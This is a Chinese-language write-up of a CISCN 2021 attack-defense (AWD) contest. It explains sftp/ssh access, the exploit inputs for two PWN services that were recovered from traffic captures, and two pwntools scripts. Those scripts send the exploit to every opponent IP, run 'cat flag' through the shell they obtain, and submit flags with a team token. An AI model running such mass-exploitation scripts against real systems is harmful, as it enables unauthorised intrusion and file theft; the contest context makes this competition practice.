20210617-CISCN2021华东南分区赛

 

比赛模式为AWD

网络配置

README-7b68301e.png README-2be6a323.png

PWN文件的下载

使用Sftp

步骤一:连接靶机

有一种是输入密码的

1
sftp -p [端口号] 用户名@IP地址

还有一种是用私钥文件认证的,这次比赛就是如此

1
sftp -i [私钥文件] 用户名@IP地址

步骤二:文件下载和上传

1
lpwd  # 查看本地文件路径lpath
1
pwd   # 查看远程路径path
1
get lpath path    # 下载文件
1
put path          # 上传文件

使用SSH

连接命令

1
ssh -i [私钥文件] 用户名@IP地址
README-a08a1141.png

当PWN遇上流量分析

写了两个利用攻击来源的流量包分析出的还有点用处的手动化脚本

有了第一天的经验,第二天直接分析流量包。而且比赛开始没几分钟,就有队伍PWN题打过来了,拿到packages看看

追踪TCP流

记国赛线下AWD选拔赛-f9a23239.png

这是PWN2的

1
2
3
4
5
6
7
8
12
++++++++++X




DJR

这是PWN3的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
5
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1
0
985
10
985
0
1
1
2
1
2
1
1
2
3
2
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa6
flappybird666666

打PWN2的脚本,我写的主要有几个问题

  1. 不能每隔十分钟自动跑,新的一轮要手动跑几次,但是后面也就是在跑这两个脚本了,然后改改一些小的地方,没别的事做,所以还好

  2. 有一些IP是修好的,或者是即使没有修好,输入输出流之间可能会有EOF错误(PWN师傅说要sleep一下,后续研究)导致有些会卡住程序运行,所以在手跑的时候,需要将连接不好又不能跳过的IP去掉一下

    README-6d5540d6.png

这个脚本大概每次会有20~35个flag提交成功,因为很多队伍,包括我们的一队都修好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import requests

context.log_level = 'debug'
token = '4vvfuKfBbHtTtEATCnwV3U4DxQVd5SwEHB8uxruSb4Hmj'

proxies = {
'http': '',
'https': ''
}


def submit_flag(flag1):
url_flag = 'http://10.16.18.1/api/v1/att_def/web/submit_flag/?event_id=14'

data = {
'flag': flag1,
'token': token
}
req = requests.post(url=url_flag, data=data, proxies=proxies)
print(req.text)


debug = False
x64 = True
file = './pwn'
libc_file = ''

ip = []

for i in range(1, 60):
if i != 50:
ip.append('172.35.' + str(i) + '.17')

ports = 9999
context.os = 'linux'
if x64:
context.arch = 'amd64'
else:
context.arch = 'i386'
if debug:
context.log_level = 'debug'

sd = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
ru = lambda x: io.recvuntil(x)
rl = lambda: io.recvline()
ra = lambda: io.recv()
rn = lambda x: io.recv(x)
sla = lambda x, y: io.sendlineafter(x, y)

for ipi in ip:
try:
if ipi in ['172.35.7.17']:
continue

io = remote(ipi, ports)
ra()
sl('12')
sl('++++++++++X')
sl('')
sl('')
sl('')
sl('')
sl('DJR')
sl('')
sl('')
sl('cd ../')
sl('cat flag')
a = ra()
submit_flag(a[:60])
io.close()
except:
pass

print(flag)

这是打PWN3的,平均每次可以得到45个flag,但后来发现这题几乎所有的队伍都没有防住,说是可能题目有问题patch了之后check不过,而且还被攻击,第一名的白泽正是如此,所以应该有接近60个的flag,看来中间还是有我没解决的实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import requests

# context.log_level = 'debug'
token = '4vvfuKfBbHtTtEATCnwV3U4DxQVd5SwEHB8uxruSb4Hmj'

proxies = {
'http': '',
'https': ''
}


def submit_flag(flag1):
url_flag = 'http://10.16.18.1/api/v1/att_def/web/submit_flag/?event_id=14'

data = {
'flag': flag1,
'token': token
}
req = requests.post(url=url_flag, data=data, proxies=proxies)
print(req.text)


debug = False
x64 = True
file = './pwn'
libc_file = ''

ip = []

for i in range(28, 60):
if i != 50:
ip.append('172.35.' + str(i) + '.18')

ports = 9999
context.os = 'linux'
if x64:
context.arch = 'amd64'
else:
context.arch = 'i386'
if debug:
context.log_level = 'debug'

sd = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
ru = lambda x: io.recvuntil(x)
rl = lambda: io.recvline()
ra = lambda: io.recv()
rn = lambda x: io.recv(x)
sla = lambda x, y: io.sendlineafter(x, y)
flag = False

for ipi in ip:
try:
if ipi in []:
continue
io = remote(ipi, ports)
ra()
sl('5')
ra()
sl('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
ra()
sl('1')
ra()
sl('0')
ra()
sl('985')
ra()
sl('10')
ra()
sl('985')
ra()
sl('985')
ra()
sl('0')
ra()
sl('1')
ra()
sl('1')
ra()
sl('2')
ra()
sl('1')
ra()
sl('2')
ra()
sl('1')
ra()
sl('1')
ra()
sl('2')
ra()
sl('3')
ra()
sl('2')
ra()
sl('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa6')
ra()
sl('flappybird666666')
ra()
sl('cat flag')
a = ra()
if len(a) == 61:
submit_flag(a[:60])
sl('cat flag')
a = ra()
if len(a) == 61:
submit_flag(a[:60])
io.close()
except:
pass